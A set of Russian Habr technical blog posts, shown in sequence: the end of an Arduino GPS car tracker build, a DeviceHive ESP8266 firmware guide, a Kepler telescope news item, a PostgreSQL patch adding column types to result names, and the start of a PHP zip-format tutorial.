Поскольку питать GSM модуль от преобразователя Arduino, как я выяснил, плохая идея, было решено купить преобразователь 12v->5v, 3A, на том же ebay. Однако, модулю не нравится питание в 5V. Идем на хак: подключаем 5V в пин, с которого приходит 5V от ардуины. Тогда встроенный преобразователь модуля (существенно мощнее преобразователя ардуины, MIC 29302WU) сделает из 5V то, что нужно модулю.
#### Сервер
Сервер написал примитивный — хранение координат и рисование на Яндекс.картах. В дальнейшем возможно добавление разных фич, включая поддержку многих пользователей, статус «на охране/не на охране», состояние систем автомобиля (зажигание, фары и пр.), возможно даже управление системами автомобиля. Конечно, с соответствующей поддержкой трекера, плавно превращающегося в полновесную сигнализацию.
#### Полевые испытания
Вот так выглядит собранный девайс, без корпуса:
После установки преобразователя питания и укладывания в корпус от дохлого DSL модема система выглядит так:
Припаивал провода, вынул несколько контактов из колодок ардуины. Выглядят так:
Подключил 12V в машине, проехался по Москве, получил трек:
Точки трека достаточно далеко друг от друга. Причина в том, что отправка данных по GPRS занимает относительно много времени, и в это время координаты не считываются. Это явная ошибка программирования. Лечится во-первых, отправкой сразу пачки координат со временем, во-вторых, асинхронной работой с GPRS модулем.
Время поиска спутников на пассажирском сидении автомобиля — пара минут.
#### Выводы
Создание GPS трекера на ардуино своими руками возможно, хотя и не является тривиальной задачей. Главный вопрос сейчас — как спрятать устройство в машине так, чтобы оно не подвергалось воздействиям вредных факторов (вода, температура), не было закрыто металлом (GPS и GPRS будут экранироваться) и не было особенно заметно. Пока просто лежит в салоне и подключается к гнезду прикуривателя.
Ну и ещё нужно поправить код для более плавного трека, хотя основную задачу трекер и так выполняет.
#### Использованные устройства
* Arduino Mega 2560 [compatible]
* Arduino Uno [compatible]
* GPS SkyLab SKM53
* SIM900 based GSM/GPRS Shield
* DC-DC 12v->5v 3A converter
#### Литература
1. [Оф. сайт Arduino](http://arduino.cc) (содержит подробную информацию и о платах, и об их программировании)
2. [TinyGPS](http://arduiniana.org/libraries/tinygps/) (ссылка на скачивание в середине страницы)
3. [GPS SKM53 Datasheet](http://www.nooelec.com/files/SKM53_Datasheet.pdf)
4. [Описание GSM/GPRS Shield на SIM900](http://www.geeetech.com/wiki/index.php/Arduino_GPRS_Shield)
5. [SIM900 AT Commands](http://www.geeetech.com/Documents/SIM900_AT_Command_Manual_V1.03.pdf)
6. [Документация по Яндекс.Картам](http://api.yandex.ru/maps/doc/intro/concepts/intro.xml)
#### Код
Публикующийся код может быть использован в любых разрешенных законом целях любыми лицами. Качество кода ужасно, поскольку это, всё же, тестовый вариант. Когда допишу до чего-то более красивого, обновлю.
Для компиляции кода для ардуино нужно импортировать библиотеку tinygps.
**UPD** Код: [GDrive](https://drive.google.com/file/d/0B_bMfbqH37bAV1lGQUZRVFJqYzA/view?usp=sharing&resourcekey=0-siuiE-W8ZbnRv8bQzEu6Yw)
[Скетч](https://drive.google.com/file/d/0B_bMfbqH37bAZU9ud2o3bGpubDQ/view?usp=sharing&resourcekey=0-L9HxhwvGNrptv6A5i7Ai9g) | https://habr.com/ru/post/196150/ | null | ru | null |
# IoT за копейки: делаем устройство с веб-интерфейсом
*Автор: Николай Хабаров, Senior Embedded Developer, DataArt*
В этой статье мы расскажем, как создать собственное устройство с веб-интерфейсом в домашней сети, используя новейшую версию 0.5 прошивки DeviceHive для микросхемы ESP8266. Но для начала, давайте разберем, что нового появилось в самой прошивке: основные нововведения связаны с возможностью автономной работы в локальной сети.
Предыдущие статьи цикла:
> • [IoT за копейки, или Что может DeviceHive.](http://habrahabr.ru/company/dataart/blog/260115/)
>
> • [IoT за копейки: практическое руководство. Часть 1-я, аппаратная.](http://geektimes.ru/company/dataart/blog/259274/)
>
> • [Беспроводная настройка ESP8266 в прошивке DeviceHive v 0.3.](https://geektimes.ru/company/dataart/blog/262110/)
>
> •[IoT за копейки: практическое руководство. Часть 2, софтварная.](https://geektimes.ru/company/dataart/blog/260460/)
Отличные новости — у нас обновилась прошивка DeviceHive для ESP8266 до версии 0.5. Для тех, кто подзабыл или не знал совсем, напоминаю, эта прошивка является реализацией подключения к серверу DeviceHive внутри микросхемы ESP8266. Новые возможности прошивки позволяют работать чипу в локальной сети в качестве оконечного устройства с собственным веб-интерфейсом. При этом вам необязательно использовать сервер даже для размещения веб-страницы, хотя весь функционал подключения к удаленному серверу сохранен и может быть использован совместно с локальным решением.
Скачать последнюю версию прошивки, как всегда, можно на [GitHub](https://github.com/devicehive/esp8266-firmware/releases/tag/v0.5). Там же можно ознакомиться с [исходными кодами прошивки](https://github.com/devicehive/esp8266-firmware).
Итак, что же у нас новенького.
1. Локальный RESTful API
========================
Теперь на каждом чипе на 80 порту расположен простенький HTTP-сервер с RESTful API. Команды полностью повторяют облачные команды за исключением возможности использовать прерывания. С полным списком команд можно ознакомиться в этом [документе](https://github.com/devicehive/esp8266-firmware/blob/master/DeviceHiveESP8266.md). Например, если вы хотите узнать состояние всех выводов микросхемы, то нужно использовать команду 'gpio/read'. В случае клауда мы просто отправляли эту команду на сервер, а теперь мы можем попросту обратиться к локальному RESTful API по адресу 'http://device-id.local/api/gpio/read' и в ответ получим JSON, содержащий состояние всех выводов. Если на чипе не задан ключ доступа (AccessKey), то это можно сделать даже из браузера:
Или с помощью утилиты curl.
```
curl -i -X POST \
-H "Authorization: Bearer YourAccessKeyHere=" \
http://esp-demo.local/api/gpio/read
```
При наличии ключа доступа, он должен быть передан в HTTP-заголовке. Ключ используется как для авторизации на облачном сервере, так и для локальной работы. Для локального использования ключ следует трактовать как простую строку, т. е. пароль. Метод может быть как GET, так и POST — на функционал команд это не влияет. Команда передается в адресе запроса, а параметры, при их наличии, в теле запроса в виде JSON.
2. mDNS
=======
Вы, наверное, заметили, что в примере выше используется доменное имя esp-demo.local. Теперь на чипе реализован Multicast Domain Name System, и все устройства, поддерживающие mDNS в пределах локальной сети, могут резолвить доменные имена в IP-адреса. Более того, имеется возможность обнаруживать все устройства в пределах сети, при этом локальный DNS-сервер не требуется.
mDNS работает по протоколу, полностью повторяющему классический DNS, но запросы отправляются по UDP на широковещательный адрес. Устройства слушают тот же широковещательный адрес и отвечают на запросы самостоятельно. В качестве доменного имени используется DeviceId чипа (который конфигурируется во время настройки прошивки). Полное доменное имя будет выглядеть как DeviceId.local.
Существует [RFC6763](https://tools.ietf.org/html/rfc6763), описывающий процедуру обнаружения сервисов, в том числе внутри mDNS. Это можно использовать для обнаружения чипов с нашей прошивкой. Существует множество утилит и библиотек, реализующих обнаружение сервисов с помощью mDNS. Например, вот так будет выглядеть чип с DeviceId 'esp-demo', обнаруженный утилитой 'avahi-discovery':
Некоторые современные операционные системы умеют резолвить такие доменные имена из любого приложения, например, из браузера. Некоторым нужно будет доустановить специализированный софт.
3. Поддержка популярных датчиков
================================
Раньше для работы с датчиками требовалось реализовать протокол общения самого датчика. Теперь в список команд включена поддержка чтения данных с популярных датчиков одной командой. Например, чтобы получить температуру с датчика DS18B20, нужно в начале инициализировать процедуру измерения температуры, выждать, пока измерение закончится, и считать результат. И это далеко не самая сложная из возможных процедур. Теперь для того чтобы узнать температуру у датчика достаточно просто отправить команду 'devices/ds18b20/read' и в ответ получить JSON вида '{«temperature»:24.5000}'. Полный список поддерживаемых датчиков смотрите в [списке команд](https://github.com/devicehive/esp8266-firmware/blob/master/DeviceHiveESP8266.md).
Пример вывода данных с MPU-6050(акселерометр, гироскоп, плюс на чипе есть датчик температуры):
4. Локальный веб-сервер
=======================
Раз у нас есть RESTful API на HTTP-сервере, то почему бы ему не отдавать просто веб-страницы. И, конечно, он это умеет. После установки прошивки на чип, откройте в браузере 'http://deviceid.local/', и вы увидите веб-интерфейс чипа. По умолчанию он содержит небольшую справку по использованию прошивки, инструменты для работы с локальным RESTful API (страницу, на которой можно попробовать вызывать различные команды и конвертер base64), несколько примеров веб-страниц, использующих RESTful API (вы можете посмотреть исходные коды страниц прямо из браузера) и пока совсем простенький, но текстовый редактор веб-страницы. С помощью этого редактора можно изменить главную страницу чипа на любой ваш собственный код прямо из браузера. Размер страницы ограничен 64КиБ.
Вы можете разместить на чипе страницу наподобие встроенных примеров, которая будет реализовывать на JavaScript какие-либо операции с чипом и отображать их пользователю в веб-браузере. Более того, никто не запрещает с одной и той же страницы обращаться ко всем чипам в пределах локальной сети.
Практическая часть
==================
А теперь давайте подключим датчик температуры DS18B20 и оснастим его веб-интерфейсом. Датчик должен быть запитан от выводов GND и 3V3 и подключен к какому-нибудь GPIO-выводу. Прямо рядом с выводами питания есть GPIO2, давайте используем его. Подключение может быть выполнено следующим образом:
На фото один из популярных вариантов реализации платы разработчика для ESP8266, которая сразу включает в себя блок питания от microUSB, переходник USB-TTL. Это очень удобно. Используя такую плату, даже не нужно зажимать никакие выводы при прошивке, последняя версия флешера прошивки все сделает сама. Достаточно просто подключить Micro-USB и запустить утилиту. Отметим, что розничная стоимость таких плат для разработчиков на китайских торговых площадках с учетом доставки опустилась до 3-4 долларов.
Но вернемся к веб-интерфейсу. На самом чипе уже есть веб-страница с примером использования DS18B20. Она располагается по адресу 'http://deviceid.local/ds18b20.html'. Откроем её, введем при необходимости ключ доступа и увидим температуру, которая считывается с датчика:
Исходный код страницы можете посмотреть прямо в браузере. Если вам не нравится оформление, хочется отображения данных с нескольких датчиков, или вам нужно подключить какой-либо другой датчик, вы можете сделать и загрузить на чип свою веб-страницу, как мы описывали выше.
Например, давайте сделаем простую веб-страницу, которая будет управлять подключенным реле.
**Код будет выглядеть следующим образом.**
```
function send(onOff) {
localStorage['accesskey'] = document.getElementById('accesskey').value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('POST', "http://" + window.location.hostname + '/api/gpio/write', true);
xmlhttp.setRequestHeader("Authorization", "Bearer " + localStorage['accesskey']);
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState == 4){
if(xmlhttp.status < 200 || xmlhttp.status > 299) {
alert('ERROR: Command return ' + xmlhttp.status + ' ' + xmlhttp.responseText, true);
}
}
}
var json = {}
json["5"] = onOff ? 1 : 0;
xmlhttp.send(JSON.stringify(json));
}
function init() {
document.getElementById('accesskey').value = localStorage['accesskey'];
}
AccesKey:
``` | https://habr.com/ru/post/398813/ | null | ru | null |
# Открытие телескопа Kepler: горячие планеты
Эта новость прошла мимо Хабра, тем не менее в своей отрасли она очень важна.
[Недавно запущеный](http://habrahabr.ru/blogs/popular_science/54028/) телескоп Kepler, который должен был искать планеты, аналогичные Земле, вместо этого нашел другие планеты — горячие штучки, непохожие ни на Землю ни на планеты вообще. Потому что они горячее звезд, вокруг которых вращаются.
UPD: [разгадка](http://habrahabr.ru/blogs/popular_science/82459/)
Kepler предназначен для поиска планет по тени, отбрасываемой ими на телескоп. Точнее, полутени — ведь далекая маленькая планета не в состоянии полностью закрыть огромную звезду. Когда планета проходит по диску звезды, она частично закрывает её поверхность, и в результате мы видим небольшое падение блеска звезды. Если прохождение планеты по диску произошло, а затем несколько раз повторилось – с той же глубиной падения блеска и с тем же орбитальным периодом – это дает и уверенность в том, что планета обнаружена.
Однако для звезд KOI-74 и KOI-81 есть неожиданный результат. Когда звезда закрывает планету, пропадает больше света, чем когда планета закрывает звезду – то есть диск планеты ярче звездного.
Получается, вокруг двух горячих звезд кружатся два непонятных объекта. Их размеры – порядка размеров Юпитера, массы – на два порядка превосходят массу крупнейшей планеты Солнечной системы. При этом их температура выше, чем у их горячих даже по звездным меркам материнских звезд. И, судя по кривой блеска, они одинаково хорошо излучают и дневной (обращенной к звезде), и ночной сторонами.
Что же это такое? Самый честный ответ на такой вопрос – а неизвестно, содержательного ответа нет. Такой объект явно не может быть устроен, как планета, – во-первых, масса слишком велика, а во-вторых, даже если эта масса измерена неправильно, планета с такой температурой распухла бы куда сильнее, чем на один-два радиуса Юпитера. Те же рассуждения касаются и бурых карликов, которые по сути мало отличаются от очень больших планет.
Не могут это быть и обычные звезды, подпитываемые обычными ядерными реакциями в центре, потому что звезды таких размеров — это тусклые красные карлики с температурой 3−4 тысячи Кельвинов, а не 12−13 тысяч градусов. Вряд ли это и термоядерные силовые установки инопланетян – просто потому, что вряд ли.
Вселенная в очередной раз подтвердила, что она куда интереснее и неожиданнее наших представлений о ней.
`Использованы материалы infox` | https://habr.com/ru/post/82027/ | null | ru | null |
# Рецепты PostgreSQL: получение типов колонок за один запрос
Для приготовления получения типов колонок за один запрос нам понадобится [postgres](https://www.postgresql.org). Можно также воспользоваться [готовым образом](https://hub.docker.com/r/rekgrpth/repmgr).
Сразу спешу огорчить: реализация будет не на SQL! Хотя, кончено, и там есть подходящие функции. Но мне показался слишком сложным и некрасивым получающийся код, и поэтому, я всё реализовал на… C! Правда, к сожалению, не как расширение, а как модификация исходников.
Вот, собственно говоря, сам патч для добавления типов колонок к именам (для клиентов версий 2 и 3), с комментариями
```
diff --git a/src/backend/access/common/printtup.c b/src/backend/access/common/printtup.c
index 24d6cd0249..6862b69258 100644
--- a/src/backend/access/common/printtup.c
+++ b/src/backend/access/common/printtup.c
@@ -22,6 +22,9 @@
#include "utils/lsyscache.h"
#include "utils/memdebug.h"
#include "utils/memutils.h"
+#include "utils/guc.h" // подключаем
+#include "utils/syscache.h" // нужные
+#include "catalog/pg_type.h" // заголовки
static void printtup_startup(DestReceiver *self, int operation,
@@ -70,6 +73,8 @@ typedef struct
MemoryContext tmpcontext; /* Memory context for per-row workspace */
} DR_printtup;
+static bool append; // добавлять типы к именам колонок?
+
/* ----------------
* Initialize: create a DestReceiver for printtup
* ----------------
@@ -132,6 +137,7 @@ printtup_startup(DestReceiver *self, int operation, TupleDesc typeinfo)
{
DR_printtup *myState = (DR_printtup *) self;
Portal portal = myState->portal;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
/*
* Create I/O buffer to be used for all messages. This cannot be inside
@@ -236,6 +242,7 @@ SendRowDescriptionCols_3(StringInfo buf, TupleDesc typeinfo, List *targetlist, i
* character set overhead.
*/
enlargeStringInfo(buf, (NAMEDATALEN * MAX_CONVERSION_GROWTH /* attname */
+ + (append ? NAMEDATALEN * MAX_CONVERSION_GROWTH + sizeof("::") - 1 : 0) // если нужно добавлять типы к именам колонок, то добавим ещё места для их хранения
+ sizeof(Oid) /* resorigtbl */
+ sizeof(AttrNumber) /* resorigcol */
+ sizeof(Oid) /* atttypid */
@@ -283,6 +290,17 @@ SendRowDescriptionCols_3(StringInfo buf, TupleDesc typeinfo, List *targetlist, i
else
format = 0;
+ if (append) { // если нужно добавлять типы к именам колонок, то
+ HeapTuple typeTuple = SearchSysCache1(TYPEOID, ObjectIdGetDatum(att->atttypid)); // поищем тип колонки в кэше
+ StringInfoData buf_; // временный буфер для хранения
+ initStringInfo(&buf_); // иниализируем его
+ appendStringInfo(&buf_, "%s::", NameStr(att->attname)); // запишем в буфер сначала название колонки, потом два двоеточия
+ if (HeapTupleIsValid(typeTuple)) appendStringInfoString(&buf_, NameStr(((Form_pg_type) GETSTRUCT(typeTuple))->typname)); // если нашли тип колонки, то запишем его в буфер
+ else appendStringInfo(&buf_, "%i", att->atttypid); // иначе в буфер запишем oid
+ pq_writestring(buf, buf_.data); // отправим данные клиенту
+ ReleaseSysCache(typeTuple); // разблокируем кэш
+ pfree(buf_.data); // очистим временный буфер
+ } else // ну а если не надо добавлять типы к именам колонок, то всё остаётся по-старому
pq_writestring(buf, NameStr(att->attname));
pq_writeint32(buf, resorigtbl);
pq_writeint16(buf, resorigcol);
@@ -311,6 +329,17 @@ SendRowDescriptionCols_2(StringInfo buf, TupleDesc typeinfo, List *targetlist, i
/* If column is a domain, send the base type and typmod instead */
atttypid = getBaseTypeAndTypmod(atttypid, &atttypmod);
+ if (append) { // если нужно добавлять типы к именам колонок, то
+ HeapTuple typeTuple = SearchSysCache1(TYPEOID, ObjectIdGetDatum(att->atttypid)); // поищем тип колонки в кэше
+ StringInfoData buf_; // временный буфер для хранения
+ initStringInfo(&buf_); // иниализируем его
+ appendStringInfo(&buf_, "%s::", NameStr(att->attname)); // запишем в буфер сначала название колонки, потом два двоеточия
+ if (HeapTupleIsValid(typeTuple)) appendStringInfoString(&buf_, NameStr(((Form_pg_type) GETSTRUCT(typeTuple))->typname)); // если нашли тип колонки, то запишем его в буфер
+ else appendStringInfo(&buf_, "%i", att->atttypid); // иначе в буфер запишем oid
+ pq_sendstring(buf, buf_.data); // отправим данные клиенту
+ ReleaseSysCache(typeTuple); // разблокируем кэш
+ pfree(buf_.data); // очистим временный буфер
+ } else // ну а если не надо добавлять типы к именам колонок, то всё остаётся по-старому
pq_sendstring(buf, NameStr(att->attname));
/* column ID only info appears in protocol 3.0 and up */
pq_sendint32(buf, atttypid);
diff --git a/src/backend/tcop/postgres.c b/src/backend/tcop/postgres.c
index 6c2db93573..f23de7f788 100644
--- a/src/backend/tcop/postgres.c
+++ b/src/backend/tcop/postgres.c
@@ -992,6 +992,8 @@ exec_simple_query(const char *query_string)
bool use_implicit_block;
char msec_str[32];
+ SetConfigOption("config.append_type_to_column_name", NULL, PGC_USERSET, PGC_S_SESSION); // перед каждым выполнением SQL-кода зануляем нашу переменную, чтобы пользователь мог сам решить, нужны ли ему типы колонок
+
/*
* Report query to various monitoring facilities.
*/
@@ -1959,6 +1961,8 @@ exec_execute_message(const char *portal_name, long max_rows)
bool was_logged = false;
char msec_str[32];
+ SetConfigOption("config.append_type_to_column_name", NULL, PGC_USERSET, PGC_S_SESSION); // перед каждым выполнением заранее подготовленного SQL-кода зануляем нашу переменную, чтобы пользователь мог сам решить, нужны ли ему типы колонок
+
/* Adjust destination to tell printtup.c what to do */
dest = whereToSendOutput;
if (dest == DestRemote)
```
Ну и бонусом, аналогичный патч для добавления типов колонок к именам при преобразованиях в json
```
diff --git a/src/backend/utils/adt/json.c b/src/backend/utils/adt/json.c
index 26d293709a..fb025adf58 100644
--- a/src/backend/utils/adt/json.c
+++ b/src/backend/utils/adt/json.c
@@ -32,6 +32,7 @@
#include "utils/jsonapi.h"
#include "utils/typcache.h"
#include "utils/syscache.h"
+#include "utils/guc.h" // подключаем нужный заголовок
/*
* The context of the parser is maintained by the recursive descent
@@ -106,6 +107,8 @@ static void add_json(Datum val, bool is_null, StringInfo result,
Oid val_type, bool key_scalar);
static text *catenate_stringinfo_string(StringInfo buffer, const char *addon);
+static bool append; // добавлять типы к именам колонок?
+
/* the null action object used for pure validation */
static JsonSemAction nullSemAction =
{
@@ -1789,6 +1792,17 @@ composite_to_json(Datum composite, StringInfo result, bool use_line_feeds)
needsep = true;
attname = NameStr(att->attname);
+ if (append) { // если нужно добавлять типы к именам колонок, то
+ HeapTuple typeTuple = SearchSysCache1(TYPEOID, ObjectIdGetDatum(att->atttypid)); // поищем тип колонки в кэше
+ StringInfoData buf; // временный буфер для хранения
+ initStringInfo(&buf); // иниализируем его
+ appendStringInfo(&buf, "%s::", attname); // запишем в буфер сначала название колонки, потом два двоеточия
+ if (HeapTupleIsValid(typeTuple)) appendStringInfoString(&buf, NameStr(((Form_pg_type) GETSTRUCT(typeTuple))->typname)); // если нашли тип колонки, то запишем его в буфер
+ else appendStringInfo(&buf, "%i", att->atttypid); // иначе в буфер запишем oid
+ escape_json(result, buf.data); // записываем результат
+ ReleaseSysCache(typeTuple); // разблокируем кэш
+ pfree(buf.data); // очистим временный буфер
+ } else // ну а если не надо добавлять типы к именам колонок, то всё остаётся по-старому
escape_json(result, attname);
appendStringInfoChar(result, ':');
@@ -1848,6 +1862,7 @@ array_to_json(PG_FUNCTION_ARGS)
{
Datum array = PG_GETARG_DATUM(0);
StringInfo result;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
result = makeStringInfo();
@@ -1865,6 +1880,7 @@ array_to_json_pretty(PG_FUNCTION_ARGS)
Datum array = PG_GETARG_DATUM(0);
bool use_line_feeds = PG_GETARG_BOOL(1);
StringInfo result;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
result = makeStringInfo();
@@ -1881,6 +1897,7 @@ row_to_json(PG_FUNCTION_ARGS)
{
Datum array = PG_GETARG_DATUM(0);
StringInfo result;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
result = makeStringInfo();
@@ -1898,6 +1915,7 @@ row_to_json_pretty(PG_FUNCTION_ARGS)
Datum array = PG_GETARG_DATUM(0);
bool use_line_feeds = PG_GETARG_BOOL(1);
StringInfo result;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
result = makeStringInfo();
@@ -1917,6 +1935,7 @@ to_json(PG_FUNCTION_ARGS)
StringInfo result;
JsonTypeCategory tcategory;
Oid outfuncoid;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
if (val_type == InvalidOid)
ereport(ERROR,
@@ -1945,6 +1964,7 @@ json_agg_transfn(PG_FUNCTION_ARGS)
oldcontext;
JsonAggState *state;
Datum val;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
if (!AggCheckCallContext(fcinfo, &aggcontext))
{
@@ -2046,6 +2066,7 @@ json_object_agg_transfn(PG_FUNCTION_ARGS)
oldcontext;
JsonAggState *state;
Datum arg;
+ append = GetConfigOption("config.append_type_to_column_name", true, true) != NULL; // хочет ли пользователь базы добавлять типы к именам колонок?
if (!AggCheckCallContext(fcinfo, &aggcontext))
{
```
Ну и зачем я всё это сделал?! ~~Потому, что могу~~ хотя, не только, есть у меня одна интересная идея, как это можно эффективно использовать, но пока руки не дошли…
Пример
```
set config.append_type_to_column_name = true;
with s as (
select * from task
) select json_agg(s) from s
```
```
[{"id::int8":1,"parent::int8":null,"dt::timestamptz":"2020-05-20T07:53:03.952542+05:00","start::timestamptz":"2020-05-20T07:53:04.930703+05:00","stop::timestamptz":"2020-05-20T07:53:04.976998+05:00","group::text":"group","max::int4":null,"pid::int4":5905,"request::text":"select now()","response::text":"2020-05-20 07:53:04.976151+05","state::state":"DONE","timeout::interval":null,"delete::bool":false,"repeat::interval":null,"drift::bool":true,"count::int4":null,"live::interval":null,"remote::text":null,"append::bool":false,"header::bool":true,"string::bool":true,"null::text":"\\N","delimiter::char":"\t","quote::char":null,"escape::char":null}, {"id::int8":2,"parent::int8":null,"dt::timestamptz":"2020-05-20T07:53:12.780313+05:00","start::timestamptz":"2020-05-20T07:53:13.299168+05:00","stop::timestamptz":"2020-05-20T07:53:13.352304+05:00","group::text":"group","max::int4":null,"pid::int4":5908,"request::text":"select 1","response::text":"1","state::state":"DONE","timeout::interval":null,"delete::bool":false,"repeat::interval":null,"drift::bool":true,"count::int4":null,"live::interval":null,"remote::text":null,"append::bool":false,"header::bool":true,"string::bool":true,"null::text":"\\N","delimiter::char":"\t","quote::char":null,"escape::char":null}, {"id::int8":3,"parent::int8":null,"dt::timestamptz":"2020-05-20T07:53:15.954607+05:00","start::timestamptz":"2020-05-20T07:53:16.477578+05:00","stop::timestamptz":"2020-05-20T07:53:16.536582+05:00","group::text":"group","max::int4":null,"pid::int4":5910,"request::text":"select 1/0","response::text":"elevel\t20\noutput_to_server\ttrue\nfilename\tint.c\nlineno\t822\nfuncname\tint4div\ndomain\tpostgres-12\ncontext_domain\tpostgres-12\nsqlerrcode\t33816706\nmessage\tdivision by zero\nmessage_id\tdivision by zero\nROLLBACK","state::state":"FAIL","timeout::interval":null,"delete::bool":false,"repeat::interval":null,"drift::bool":true,"count::int4":null,"live::interval":null,"remote::text":null,"append::bool":false,"header::bool":true,"string::bool":true,"null::text":"\\N","delimiter::char":"\t","quote::char":null,"escape::char":null}]
``` | https://habr.com/ru/post/502680/ | null | ru | null |
# Как выглядит zip-архив и что мы с этим можем сделать
Доброго времени суток, уважаемый Хабр!
За последние пол года кривая дорожка моих пет-проектов завела меня в такие дебри, откуда до сих пор выбраться не представляется возможным. И начиналось-то все безобидно — сайт с картинками, но чувство перфекционизма, погоня за халявой, а также некоторые особенности моего склада ума превратили эту, как изначально планировалось, маленькую прогулку, в настоящее длинное путешествие. Ну и ладно, как говорил один довольно картавый революционер: «Учиться, учиться и еще раз учиться», а мне, волей-неволей, приходится этому напутствию следовать.
Ой, что-то мы отвлеклись от основной темы. Не буду больше вас утомлять пространными речами, а перейду к делу.
### Создаем Zip-архив
В принципе, переписывать [спецификацию](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) сюда я не буду. Да и в целом описывать структуру тоже смысла нет, потому что все это [сделали до меня](https://blog2k.ru/archives/3391).
Для тех, кому лень переходить по ссылкам, просто вкратце обрисую, что любой zip-архив должен содержать в себе:
* Запись о файле:
+ Local File Header
+ Полезные данные
+ Data descriptor (опционально, используется в случае, когда мы не знаем размер файла и его хэш до тех пор, пока до конца его не прочтем)
* Central Directory File Header (для каждого файла. это как оглавление книги, где указан каждый раздел и страница, на которой его можно найти)
* End Of Central Directory Record
Зная это, мы можем попробовать записать простейший архив, который будет содержать всего два файла:
```
php
// В архиве у нас будет два файла (1.txt и 2.txt) с соответствующим содержимым:
$entries = [
'1.txt' = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc id ante ultrices, fermentum nibh eleifend, ullamcorper nunc. Sed dignissim ut odio et imperdiet. Nunc id felis et ligula viverra blandit a sit amet magna. Vestibulum facilisis venenatis enim sed bibendum. Duis maximus felis in suscipit bibendum. Mauris suscipit turpis eleifend nibh commodo imperdiet. Donec tincidunt porta interdum. Aenean interdum condimentum ligula, vitae ornare lorem auctor in. Suspendisse metus ipsum, porttitor et sapien id, fringilla aliquam nibh. Curabitur sem lacus, ultrices quis felis sed, blandit commodo metus. Duis tincidunt vel mauris at accumsan. Integer et ipsum fermentum leo viverra blandit.',
'2.txt' => 'Mauris in purus sit amet ante tempor finibus nec sed justo. Integer ac nibh tempus, mollis sem vel, consequat diam. Pellentesque ut condimentum ex. Praesent finibus volutpat gravida. Vivamus eleifend neque sit amet diam scelerisque lacinia. Nunc imperdiet augue in suscipit lacinia. Curabitur orci diam, iaculis non ligula vitae, porta pellentesque est. Duis dolor erat, placerat a lacus eu, scelerisque egestas massa. Aliquam molestie pulvinar faucibus. Quisque consequat, dolor mattis lacinia pretium, eros eros tempor neque, volutpat consectetur elit elit non diam. In faucibus nulla justo, non dignissim erat maximus consectetur. Sed porttitor turpis nisl, elementum aliquam dui tincidunt nec. Nunc eu enim at nibh molestie porta ut ac erat. Sed tortor sem, mollis eget sodales vel, faucibus in dolor.',
];
// А сохраним архив мы как Lorem.zip, он появится у нас в cwd (обычно в одной папке с запускаемым файлом)
$destination = 'Lorem.zip';
$handle = fopen($destination, 'w');
// Нам нужно следить сколько мы записали, чтоб потом указать смещение, с которого начинается каждый файл, в нашем "оглавлении" Central Directory File Header
$written = 0;
$dictionary = [];
foreach ($entries as $filename => $content) {
// Для каждого файла нам нужно сначала записать структуру Local File Header, а потом его содержимое
// В этой статье мы не будем рассматривать сжатие, поэтому данные будут храниться как есть.
$fileInfo = [
// минимальная версия для распаковки
'versionToExtract' => 10,
// должен быть 0, если мы сразу указываем длину файла и хэш-сумму
'generalPurposeBitFlag' => 0,
// у нас хранятся данные без сжатия, так что тоже 0
'compressionMethod' => 0,
// по-хорошему тут нужно указать mtime файла, но кому какая разница, кто и когда трогал этот файл?
'modificationTime' => 28021,
// ну вы поняли, да?
'modificationDate' => 20072,
// а вот тут уже халтурить нельзя. вообще можно указать любое значение, но мы же хотим получит валидный архив, не так ли?
'crc32' => hexdec(hash('crc32b', $content)),
// размер сжатых и несжатых данных. в нашем случае одно и то же число.
// тоже настоятельно рекомендую указывать реальные данные :)
'compressedSize' => $size = strlen($content),
'uncompressedSize' => $size,
// Длина имени файла
'filenameLength' => strlen($filename),
// Дополнительная информация. Мы её не пишем, так что 0.
'extraFieldLength' => 0,
];
// Упакуем все это в нужный вид.
$LFH = pack('LSSSSSLLLSSa*', ...array_values([
'signature' => 0x04034b50, // Сигнатура Local File Header
] + $fileInfo + ['filename' => $filename]));
// А информацию о файле сохраним на потом, ведь в конце нам еще писать Central Directory File Header
$dictionary[$filename] = [
'signature' => 0x02014b50, // Сигнатура Central Directory File Header
'versionMadeBy' => 798, // Версия создания. Я стащил это значение, разбирая какой-то из архивов.
] + $fileInfo + [
'fileCommentLength' => 0, // Длина комментария к файлу. No comments
'diskNumber' => 0, // Мне обычно попадался везде 0, а в особенности я решил не вникать
'internalFileAttributes' => 0, // Внутренние атрибуты файла
'externalFileAttributes' => 2176057344, // Внешние атрибуты файла
'localFileHeaderOffset' => $written, // Смешение в файле до его Local File Header
'filename' => $filename, // Имя файла.
];
// А теперь запишем наш заголовок
$written += fwrite($handle, $LFH);
// И сами данные
$written += fwrite($handle, $content);
}
// Теперь, когда мы записали все данные, можно приступать к оглавлению.
// Но давайте немного забежим вперед и начнем создавать структуру End of central directory record (EOCD)
$EOCD = [
// Сигнатура EOCD
'signature' => 0x06054b50,
// Номер диска. У нас этого нет, так что 0
'diskNumber' => 0,
// И этого у нас нет - тоже 0
'startDiskNumber' => 0,
// Количество записей в архиве на текущем диске.
'numberCentralDirectoryRecord' => $records = count($dictionary),
// Всего записей в архиве. У нас один архив, так что идентично предыдущему
'totalCentralDirectoryRecord' => $records,
// Размер записей Central Directory Record.
// Мы его пока еще не знаем, но нужно будет обязательно указать
'sizeOfCentralDirectory' => 0,
// Смешение, с которого начинаются Central Directory Records
'centralDirectoryOffset' => $written,
// И снова без комментариев
'commentLength' => 0
];
// А вот теперь точно можно! Пишем оглавление
foreach ($dictionary as $entryInfo) {
$CDFH = pack('LSSSSSSLLLSSSSSLLa*', ...array_values($entryInfo));
